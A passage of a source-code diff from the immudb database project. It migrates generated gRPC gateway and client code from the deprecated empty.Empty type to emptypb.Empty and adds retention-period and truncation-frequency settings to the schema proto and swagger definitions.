context.Context, marshaler runtime.Ma } func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CountAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -630,7 +630,7 @@ func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marsh } func local_request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CountAll(ctx, &protoReq) @@ -869,7 +869,7 @@ func local_request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runti } func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.Health(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -878,7 +878,7 @@ func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshal } func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.Health(ctx, &protoReq) @@ -887,7 +887,7 @@ func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.M } func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.DatabaseHealth(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -896,7 +896,7 @@ func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime } func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.DatabaseHealth(ctx, &protoReq) @@ -905,7 +905,7 @@ func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler r } func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -914,7 +914,7 @@ func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CurrentState(ctx, &protoReq) @@ -1297,7 +1297,7 @@ func local_request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler r } func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1314,7 +1314,7 @@ func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1487,7 +1487,7 @@ func local_request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler } func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1504,7 +1504,7 @@ func request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler ru } func local_request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -1591,7 +1591,7 @@ func local_request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runti } func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CompactIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1600,7 +1600,7 @@ func request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.M } func local_request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CompactIndex(ctx, &protoReq) @@ -1677,7 +1677,7 @@ func local_request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime } func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.ListTables(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) @@ -1686,7 +1686,7 @@ func request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Mar } func local_request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq empty.Empty + var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.ListTables(ctx, &protoReq) diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 5b03a6dee0..98ffbe8427 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1031,6 +1031,12 @@ message DatabaseNullableSettings { // Size of the LRU cache for value logs NullableUint32 vLogCacheSize = 28; + + // Retention Period for data in the database + NullableMilliseconds retentionPeriod = 29; + + // Truncation Frequency for the database + NullableMilliseconds truncationFrequency = 30; } message ReplicationNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 0157e3ce64..877ed56bd8 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1739,7 +1739,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", @@ -2099,6 +2099,14 @@ "vLogCacheSize": { "$ref": "#/definitions/schemaNullableUint32", "title": "Size of the LRU cache for value logs" + }, + "retentionPeriod": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Retention Period for data in the database" + }, + "truncationFrequency": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Truncation Frequency for the database" } } }, diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 60146adec1..3631dbc519 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -4,10 +4,10 @@ package schema import ( context "context" - empty "github.com/golang/protobuf/ptypes/empty" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" + emptypb "google.golang.org/protobuf/types/known/emptypb" ) // This is a compile-time assertion to ensure that this generated file @@ -19,27 +19,27 @@ const _ = grpc.SupportPackageIsVersion7 // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type ImmuServiceClient interface { - ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) - CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) - ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) - ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) - SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) + ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) + CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) + SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) - CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) - KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) - Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) - Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) - TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) + Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) + Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) + TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) // Deprecated: Do not use. Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) // Deprecated: Do not use. - Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) @@ -51,7 +51,7 @@ type ImmuServiceClient interface { // NOT YET SUPPORTED Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) + CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) @@ -60,9 +60,9 @@ type ImmuServiceClient interface { // ServerInfoRequest is defined for future extensions. ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) - DatabaseHealth(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) - CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) + Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) + DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) + CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) @@ -70,29 +70,29 @@ type ImmuServiceClient interface { ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) + CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) + CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) + DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) + GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) - CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) // Streams StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) @@ -107,7 +107,7 @@ type ImmuServiceClient interface { ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) - ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) + ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) } @@ -120,7 +120,7 @@ func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { return &immuServiceClient{cc} } -func (c *immuServiceClient) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) { +func (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) { out := new(UserList) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListUsers", in, out, opts...) if err != nil { @@ -129,8 +129,8 @@ func (c *immuServiceClient) ListUsers(ctx context.Context, in *empty.Empty, opts return out, nil } -func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateUser", in, out, opts...) if err != nil { return nil, err @@ -138,8 +138,8 @@ func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserReques return out, nil } -func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePassword", in, out, opts...) if err != nil { return nil, err @@ -147,8 +147,8 @@ func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswo return out, nil } -func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePermission", in, out, opts...) if err != nil { return nil, err @@ -156,8 +156,8 @@ func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePerm return out, nil } -func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetActiveUser", in, out, opts...) if err != nil { return nil, err @@ -166,8 +166,8 @@ func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUser } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateAuthConfig", in, out, opts...) if err != nil { return nil, err @@ -176,8 +176,8 @@ func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateMTLSConfig", in, out, opts...) if err != nil { return nil, err @@ -194,8 +194,8 @@ func (c *immuServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequ return out, nil } -func (c *immuServiceClient) CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CloseSession", in, out, opts...) if err != nil { return nil, err @@ -203,8 +203,8 @@ func (c *immuServiceClient) CloseSession(ctx context.Context, in *empty.Empty, o return out, nil } -func (c *immuServiceClient) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/KeepAlive", in, out, opts...) if err != nil { return nil, err @@ -221,7 +221,7 @@ func (c *immuServiceClient) NewTx(ctx context.Context, in *NewTxRequest, opts .. return out, nil } -func (c *immuServiceClient) Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { +func (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { out := new(CommittedSQLTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Commit", in, out, opts...) if err != nil { @@ -230,8 +230,8 @@ func (c *immuServiceClient) Commit(ctx context.Context, in *empty.Empty, opts .. return out, nil } -func (c *immuServiceClient) Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Rollback", in, out, opts...) if err != nil { return nil, err @@ -239,8 +239,8 @@ func (c *immuServiceClient) Rollback(ctx context.Context, in *empty.Empty, opts return out, nil } -func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxSQLExec", in, out, opts...) if err != nil { return nil, err @@ -268,8 +268,8 @@ func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Logout", in, out, opts...) if err != nil { return nil, err @@ -358,7 +358,7 @@ func (c *immuServiceClient) Count(ctx context.Context, in *KeyPrefix, opts ...gr return out, nil } -func (c *immuServiceClient) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) { +func (c *immuServiceClient) CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) { out := new(EntryCount) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CountAll", in, out, opts...) if err != nil { @@ -412,7 +412,7 @@ func (c *immuServiceClient) ServerInfo(ctx context.Context, in *ServerInfoReques return out, nil } -func (c *immuServiceClient) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { +func (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { out := new(HealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Health", in, out, opts...) if err != nil { @@ -421,7 +421,7 @@ func (c *immuServiceClient) Health(ctx context.Context, in *empty.Empty, opts .. return out, nil } -func (c *immuServiceClient) DatabaseHealth(ctx 